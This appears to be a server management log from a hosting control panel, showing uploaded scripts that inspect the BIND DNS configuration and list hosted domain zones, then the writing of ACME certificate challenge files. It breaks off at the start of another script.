2025-12-24 06:00:07: Establishing a connection
2025-12-24 06:00:08: Establishing a connection
2025-12-24 06:00:09:
PUT: /tmp/pkp706840
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-24 06:00:10:
chmod 755 /tmp/pkp706840; /tmp/pkp706840; rm /tmp/pkp706840
2025-12-24 06:00:10:
0
2025-12-24 13:55:01: Establishing a connection
2025-12-24 13:55:11: Establishing a connection
2025-12-24 13:55:11:
PUT: /tmp/pkp301086
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-12-24 13:55:11:
runuser -l bind -s /bin/bash -c '/tmp/pkp301086; rm /tmp/pkp301086'
2025-12-24 13:55:11:
2025-12-24 13:55:11:
PUT: /tmp/pkp185551
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/bind/named.conf.local')
show_file('/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf')
show_file('/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-24 13:55:11:
chmod 755 /tmp/pkp185551; /tmp/pkp185551; rm /tmp/pkp185551
2025-12-24 13:55:11:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/bind/named.conf.local 4981
//
// Do any local configuration here
//
// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";
include "0299c0c61c7ba070834ba2dd758c9c51.conf"; # biblealive.us
include "25162dac9ffbcb0be59287b7a9bde7f4.conf"; # carelinks.net
include "b74ce055b83f6cfebe00ab1c0c5d2af2.conf"; # hostz.org
include "54524ffc708f1919654eee3e8e8e8adb.conf"; # carelinks.org
include "265e805c99c946847c9512ae0a2f1979.conf"; # Unknown Zone
include "94cdb93348589672ae2f4f7d5cf38aba.conf"; # christadelphia.net
include "695c92f1e52b32224b4afd59cf37d6f1.conf"; # heaster.org
include "a9ce89f9cbbf500822cbde90492a4b59.conf"; # c-c-n.net
include "1a70a64890644d614d006709f4d07011.conf"; # bookofjames.info
include "76868f6e068adf5f82f053b795932883.conf"; # aletheiacollege.net
include "b64ede8e027cbe0b900c74b7dad61fc6.conf"; # hristadelfiane.org
include "a6604325e1e95bb658a4876ded716488.conf"; # realchrist.info
include "c23c0a067c65fe695faa3f188e27944c.conf"; # realdevil.info
include "0a6ad15e551aafb493c6806effeddcf2.conf"; # thisisyourbible.info
include "7695e2001b9158b46e53b17c49af86b5.conf"; # murrayyoung.com
include "063b25bf16976ce1a2c836785c63433d.conf"; # bible-basics.info
include "e3a645e9cd9a48a14dd8493b70d9eeb7.conf"; # n-e-v.info
include "62fb2e372bc0a32115fbc83c762f20b5.conf"; # biblebooks.org.uk
include "9b1deba5ba095e87244f37a8e3f127c3.conf"; # exjw.org.uk
include "32d4fd93b17a2291b23647ec24f8da21.conf"; # vards.info
include "de5342f930e16cce802d35118a2fa8d3.conf"; # waltonecclesia.info
include "6f67b388e6765da580018fda67333d25.conf"; # tacomaecclesia.net
include "9c176806fc238e21c915b63d0649fc22.conf"; # shiretune.com.au
include "1e54f6c33ee3ca2eea403fca319b0ee4.conf"; # r-b-c.org
include "2debffd89b49e0229c33680cd8802ecb.conf"; # maminas.info
include "7be199ed365109a6d40950ee59d1f556.conf"; # carelinksoutreach.info
include "eebb27648fd2a6fb3ddcc9ab90e7112b.conf"; # baptizo.info
include "1f505a75628761de494a35ab69db20dd.conf"; # carelinksaustralia.info
include "88c5638dfb94d699fd48b1feb9d60cff.conf"; # biblebasicsonline.com
include "a4eb3fca977ca6015dcdbcabf7d11d48.conf"; # thinkpinkpixels.com
include "3c5ac3f042be6256f4781cbc416678be.conf"; # dalmenynaroomabushwalkers.info
include "c0f3c184d08b11c006e309fb0115bdd6.conf"; # osnovybiblii.info
include "5228c1dbadd38e40039230194a4f9e79.conf"; # osnowybiblii.info
include "a991f2a33195300884cfb80603e68095.conf"; # gospelstudies.net
include "3c4b5f94d47374f5ce45f7155d4ae5a8.conf"; # christadelphianfraternal.info
include "35d18abc44b089ffa23e3e2f0807ece6.conf"; # theyoungdesigners.us
include "40b78c826a55a9eeca31786e0586fee9.conf"; # islamicstate.info
include "93997bd832de09ba4e56713eaa81d340.conf"; # christadelphian.video
include "320b669d287ba63741ff57cf3e690770.conf"; # whysuffering.info
include "11674aee41a9cabe2304d659e10b5dd0.conf"; # drewmarshall.ca
include "0766fc100eec8a6853d7ddbdaedbb9bf.conf"; # freebible.info
include "05b92d9466be1ff60f99171b12b904c0.conf"; # bible.boston
include "d15154fdc73f852a93983b8efa978ccd.conf"; # carelinks-uk.org
include "ffb28d26a57997ceef6aa88af3ca2eb1.conf"; # siiguides.com
include "c92f7952a5e58a40373c6ea0395bbe60.conf"; # patientappsinc.com
include "69d0916aecf832c706b4d0e9097de457.conf"; # simplyinteractiveinc.com
include "9102cebf40552256181ade1b5794bce9.conf"; # vela.work
include "916eb0791d6219f551785c0d0cdb6551.conf"; # zoomchat.net
include "3d2ec12df06edc90dfcd3e90b9defc61.conf"; # stoughton.link
include "4e946d31d5dbbaea14c1f8a8cc65c592.conf"; # pjy.us
include "f526c54ffce876cc4878737cf365bd79.conf"; # the-computer-site.com
include "03d5b5f89be357e1588146db824a75a9.conf"; # hopeinstoughton.org
include "97b02af5a57f21e16869add9e7536c63.conf"; # patientapps.net
include "9ab47e96627d9522a0b8df2ee4322802.conf"; # patientapps.co
include "a1c902386bae85264c8bcd7d46d289a9.conf"; # emessage.email
include "1f055662da24bcf52398528dbf5a1c4f.conf"; # cityelectric.online
include "b77f3ffec345cac4b4296eed63420be1.conf"; # myapp.care
include "7312c9cb95b4bacf912d8bac1ea438cc.conf"; # vmix.com
include "6e7fd231117136482801b6740f7def61.conf"; # theyoungdesigners.com
include "ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf"; # bucketgigs.ca
include "82e710fb4c28419815112803356c4f79.conf"; # croydonchurch.info
include "d365b77ad7e9376e619973b277c11515.conf"; # kjvdictionary.org
include "b579aafafbcd32ebd30996c14e2929d0.conf"; # ineedtosaythis.com
include "e0dc27e9ac6120dd4b9b149abf3e317e.conf"; # dgmarshall.ca
include "210d2f210e4452e9446e4b9a5969250a.conf"; # dgmarshall.com
include "f9446b138d2c5ba2c536837db166189d.conf"; # hillrunfarm.ca
include "39a853d14cf222b11389743f34305dc2.conf"; # sosretreatscanada.com
include "28a5e75a7da01b086708dce3eb004d3c.conf"; # carelinks.org.uk
include "73c7599fdd5ae53f1a22acdec3f96f94.conf"; # cityelectric.site
include "6cba0a95209be6ac4156e85379be0bd6.conf"; # zoomchat.online
include "954ebedf55cc0740293342780846a6cd.conf"; # persianchurch.info
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf 254
# this is an automatically created file: manual changes will be overwritten.
zone "persianchurch.info" IN {
##owner 0;
type master;
file "954ebedf55cc0740293342780846a6cd.txt";
allow-transfer { 66.175.233.192; };
allow-update { none; };
};
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt 448
; this is an automatically created file: manual changes will be overwritten.
$TTL 3600
persianchurch.info. IN SOA persianchurch.info. hostmaster.persianchurch.info. ( 133302370 14400 3600 14400 3600 )
persianchurch.info. IN NS ns1.hostz.org.
persianchurch.info. IN NS ns2.hostz.org.
persianchurch.info. 60 IN A 216.250.114.63
www.persianchurch.info. 60 IN CNAME @
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-12-24 13:55:31: Establishing a connection
2025-12-24 13:55:31: Establishing a connection
2025-12-24 13:55:31:
PUT: /tmp/pkp775042
#!/bin/bash
if [ -d "/var/www/drewmarshall_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-24 13:55:31:
chmod 755 /tmp/pkp775042; /tmp/pkp775042; rm /tmp/pkp775042
2025-12-24 13:55:31:
1
2025-12-24 13:55:32: Establishing a connection
2025-12-24 13:55:32:
PUT: /tmp/pkp831530
#!/bin/bash
mkdir -p "/var/www/drewmarshall_www/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_www/.well-known/acme-challenge/"
cat > YiI4QyOlcL2xbb0vNZhikfp4TWLtfSxO1Wwky_FquJg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
YiI4QyOlcL2xbb0vNZhikfp4TWLtfSxO1Wwky_FquJg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 YiI4QyOlcL2xbb0vNZhikfp4TWLtfSxO1Wwky_FquJg
cat > OhvK2wWqJFBDFxnFQoMZN2JWeTiyqE0V_GXt0kr6ITM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
OhvK2wWqJFBDFxnFQoMZN2JWeTiyqE0V_GXt0kr6ITM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 OhvK2wWqJFBDFxnFQoMZN2JWeTiyqE0V_GXt0kr6ITM
2025-12-24 13:55:33:
chmod 755 /tmp/pkp831530; /tmp/pkp831530; rm /tmp/pkp831530
2025-12-24 13:55:33:
2025-12-24 13:55:42: Establishing a connection
2025-12-24 13:55:43:
PUT: /tmp/pkp875613
#!/bin/bash
